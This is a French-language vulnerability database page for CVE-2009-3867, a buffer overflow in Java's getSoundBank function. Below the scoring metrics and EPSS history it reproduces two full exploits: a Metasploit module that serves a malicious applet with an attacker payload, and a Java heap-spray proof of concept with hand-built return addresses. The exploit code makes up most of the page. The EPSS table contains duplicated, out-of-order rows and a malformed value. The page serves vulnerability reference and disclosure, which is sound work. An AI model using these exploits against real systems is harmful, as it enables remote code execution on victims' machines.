CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Stack-based buffer overflow in the HsbParser.getSoundBank function in Sun Java SE in JDK and JRE 5.0 before Update 22, JDK and JRE 6 before Update 17, SDK and JRE 1.3.x before 1.3.1_27, and SDK and JRE 1.4.x before 1.4.2_24 allows remote attackers to execute arbitrary code via a long file: URL in an argument, aka Bug Id 6854303.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
75.13%
–
–
2023-03-12
–
–
–
92.03%
–
2023-04-09
–
–
–
92.43%
–
2023-05-21
–
–
–
94.01%
–
2023-07-02
–
–
–
91.5%
–
2023-08-13
–
–
–
92.43%
–
2024-02-11
–
–
–
92.44%
–
2024-03-24
–
–
–
93.45%
–
2024-05-05
–
–
–
93.79%
–
2024-06-02
–
–
–
93.79%
–
2024-06-02
–
–
–
93.79%
–
2024-06-16
–
–
–
94.1%
–
2024-07-28
–
–
–
93.19%
–
2024-10-13
–
–
–
93.64%
–
2024-11-24
–
–
–
93.35%
–
2024-12-22
–
–
–
92.57%
–
2024-12-29
–
–
–
93.69%
–
2025-02-02
–
–
–
92.72%
–
2025-03-09
–
–
–
93.04%
–
2025-01-19
–
–
–
93.69%
–
2025-02-02
–
–
–
92.72%
–
2025-03-09
–
–
–
93.04%
–
2025-03-18
–
–
–
–
90.4%
2025-03-30
–
–
–
–
90.06%
2025-04-06
–
–
–
–
89.47%
2025-04-06
–
–
–
–
89.47,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2010-09-19 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# $Id: java_getsoundbank_bof.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Sun Java JRE getSoundbank file:// URI Buffer Overflow',
'Description' => %q{
This module exploits a flaw in the getSoundbank function in the Sun JVM.
The payload is serialized and passed to the applet via PARAM tags. It must be
a native payload.
The effected Java versions are JDK and JRE 6 Update 16 and earlier,
JDK and JRE 5.0 Update 21 and earlier, SDK and JRE 1.4.2_23 and
earlier, and SDK and JRE 1.3.1_26 and earlier.
NOTE: Although all of the above versions are reportedly vulnerable, only
1.6.0_u11 and 1.6.0_u16 on Windows XP SP3 were tested.
},
'License' => MSF_LICENSE,
'Author' =>
[
'kf', # Original PoC/exploit
'jduck' # metasploit version
],
'Version' => '$Revision: 10394 $',
'References' =>
[
[ 'CVE', '2009-3867' ],
[ 'OSVDB', '59711' ],
[ 'BID', '36881' ],
[ 'URL', 'http://zerodayinitiative.com/advisories/ZDI-09-076/' ]
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => '',
'DisableNops' => true,
},
'Targets' =>
[
=begin
No automatic targetting for now ...
[ 'J2SE 1.6_16 Automatic',
{
'Platform' => ['win', 'linux', 'osx'],
'Arch' => [ARCH_X86, ARCH_PPC]
}
],
=end
[ 'J2SE 1.6_16 on Windows x86',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
[ 'J2SE 1.6_16 on Mac OS X PPC',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
}
],
[ 'J2SE 1.6_16 on Mac OS X x86',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 04 2009'
))
end
def exploit
# load the static jar
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2009-3867.jar")
fd = File.open(path, "rb")
@jar_data = fd.read(fd.stat.size)
fd.close
super
end
def on_request_uri(cli, req)
# Create a cached mapping between IP and detected target
@targetcache ||= {}
@targetcache[cli.peerhost] ||= {}
@targetcache[cli.peerhost][:update] = Time.now.to_i
if (target.name =~ /Automatic/)
case req.headers['User-Agent']
when /Windows/i
print_status("Choosing a Windows target for #{cli.peerhost}:#{cli.peerport}...")
@targetcache[cli.peerhost][:target] = self.targets[1]
when /PPC Mac OS X/i
print_status("Choosing a Mac OS X PPC target for #{cli.peerhost}:#{cli.peerport}...")
@targetcache[cli.peerhost][:target] = self.targets[2]
when /Intel Mac OS X/i
print_status("Choosing a Mac OS X x86 target for #{cli.peerhost}:#{cli.peerport}...")
@targetcache[cli.peerhost][:target] = self.targets[3]
else
print_status("Unknown target for: #{req.headers['User-Agent']}")
end
end
# Clean the cache
rmq = []
@targetcache.each_key do |addr|
if (Time.now.to_i > @targetcache[addr][:update]+60)
rmq.push addr
end
end
rmq.each {|addr| @targetcache.delete(addr) }
# Request processing
if (not req.uri.match(/\.jar$/i))
# Redirect to the base directory so the applet code loads...
if (not req.uri.match(/\/$/))
print_status("Sending redirect so path ends with / ...")
send_redirect(cli, get_resource() + '/', '')
return
end
# Display the applet loading HTML
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, generate_html(payload.encoded),
{
'Content-Type' => 'text/html',
'Pragma' => 'no-cache'
})
return
end
# Send the actual applet over
print_status("Sending applet to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, generate_applet(cli, req),
{
'Content-Type' => 'application/octet-stream',
'Pragma' => 'no-cache'
})
# Handle the payload
handler(cli)
end
def generate_html(pl)
html = <<-EOF
<html>
<head>
<!-- <meta http-equiv=refresh content=10 /> -->
</head>
<body>
<applet width='100%' height='100%' code='AppletX' archive='JARNAME'>
<param name='sc' value='SCODE' />
<param name='np' value='NOPS' />
</applet>
</body>
</html>
EOF
# finalize the html
jar_name = rand_text_alphanumeric(32)
html.gsub!(/JARNAME/, jar_name)
# add payload
debug_payload = false
pload = ""
pload << "\xcc" if debug_payload
pload << pl
if ((pload.length % 4) > 0)
pload << rand_text((4 - (pload.length % 4)))
end
if debug_payload
print_status("pload #{pload.length} bytes:\n" + Rex::Text.to_hex_dump(pload))
end
html.gsub!(/SCODE/, Rex::Text.to_hex(pload, ''))
# add nops
nops = "\x90\x90\x90\x90"
html.gsub!(/NOPS/, Rex::Text.to_hex(nops, ''))
#print_status("nops #{nops.length} bytes:\n" + Rex::Text.to_hex_dump(nops))
return html
end
def generate_applet(cli, req)
this_target = nil
if (target.name =~ /Automatic/)
if (@targetcache[cli.peerhost][:target])
this_target = @targetcache[cli.peerhost][:target]
else
return ''
end
else
this_target = target
end
return @jar_data
end
end
Date de publication : 2009-10-28 23h00 +00:00 Auteur : Tometzky EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/36881/info
Sun has released updates to address multiple security vulnerabilities in Java SE.
Successful exploits may allow attackers to bypass certain security restrictions, run untrusted applets with elevated privileges, execute arbitrary code, and cause denial-of-service conditions. Other attacks are also possible.
These issues are addressed in the following releases:
JDK and JRE 6 Update 17
JDK and JRE 5.0 Update 22
SDK and JRE 1.4.2_24
SDK and JRE 1.3.1_27
*/
import javax.sound.midi.*;
import java.io.*;
import java.net.*;
import java.awt.Graphics;
public class test extends java.applet.Applet
{
public static Synthesizer synth;
Soundbank soundbank;
public void init()
{
String fName = repeat('/',1080); // OSX Leopard - 10.5 Build 9A581
Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_13-
b05-237)
// heap sprayed info starts at 0x25580000+12 but keep in mind we
need to be fairly ascii safe.
// 0x20 is not usable
byte[] frame = {
(byte)0x22, (byte)0x21, (byte)0x58, (byte)0x25, // frame 1 - ebp
(byte)0x26, (byte)0x21, (byte)0x58, (byte)0x25, // frame 1 - eip
(byte)0x22, (byte)0x21, (byte)0x58, (byte)0x25 // frame 0 - edx
};
String mal = new String(frame);
//System.out.println(mal);
fName = "file://" + fName + mal;
try
{
synth = MidiSystem.getSynthesizer();
synth.open();
System.out.println("Spray heap\n");
String shellcode = "\u41424344" + repeat('\u9090',1000) +
"\u30313233"; // This is just a nop sled with some heading and
trailing markers.
int mb = 1024;
// Sotirov / Dowd foo follows.
// http://taossa.com/archive/bh08sotirovdowd.pdf
// Limit the shellcode length to 100KB
if (shellcode.length() > 100*1024)
{
throw new RuntimeException();
}
// Limit the heap spray size to 1GB, even though in practice the
Java
// heap for an applet is limited to 100MB
if (mb > 1024)
{
throw new RuntimeException();
}
// Array of strings containing shellcode
String[] mem = new String[1024];
// A buffer for the nop slide and shellcode
StringBuffer buffer = new StringBuffer(1024*1024/2);
// Each string takes up exactly 1MB of space
//
// header nop slide shellcode NULL
// 12 bytes 1MB-12-2-x x bytes 2 bytes
// Build padding up to the first exception. We will need to set
the eax address after this padding
// First usable addresses begin at 0x25580000+0x2121. Unfortunately
0x20 in our addresses caused issues.
// 0x2121 is 8481 in decimal, we subtract a few bytes for munging.
for (int i = 1; i < (8481/2)-4; i++)
{
buffer.append('\u4848');
}
// (gdb) x/10a 0x25582122-4
// 0x2558211e: 0x48484848 0x20202020 0x20202020 0x20202020
// 0x2558212e: 0x20202020 0x20202020 0x20202020 0x20202020
// 0x2558213e: 0x20202020 0x20202020
// Set the call address
// 0x188fd81b
<Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource+108>:
call *0x2a8(%eax)
buffer.append('\u2122');
buffer.append('\u2558');
// 0x2a8 is 680 in decimal, once again we need filler for making
this a usable address location.
for (int i = 1; i < (680/2)-1; i++)
{
buffer.append('\u4848');
}
// where do we wanna go? 0x25582525 is right in the middle of the
following nop sled
// (gdb) x/5x 0x25582525
// 0x25582525: 0x90909090 0x90909090 0x90909090 0x90909090
// 0x25582535: 0x90909090
buffer.append('\u2525');
buffer.append('\u2558');
// We are gonna place the shellcode after this so simply fill
in remaining space with nops!
for (int i = 1; i < (1024*1024-12)/2-shellcode.length(); i++)
{
buffer.append('\u9090');
}
// Append the shellcode
buffer.append(shellcode);
// Run the garbage collector
Runtime.getRuntime().gc();
// Fill the heap with copies of the string
try
{
for (int i=0; i<mb; i++)
{
mem[i] = buffer.toString();
}
}
catch (OutOfMemoryError err)
{
// do nothing
}
// Trigger the stack overflow.
synth.loadAllInstruments(MidiSystem.getSoundbank(new URL(fName)));
}
catch(Exception e)
{
System.out.println(e);
}
}
public void paint(Graphics g)
{
g.drawString("Hello pwned!", 50, 25);
}
public static String repeat(char c,int i)
{
String tst = "";
for(int j = 0; j < i; j++)
{
tst = tst+c;
}
return tst;
}
}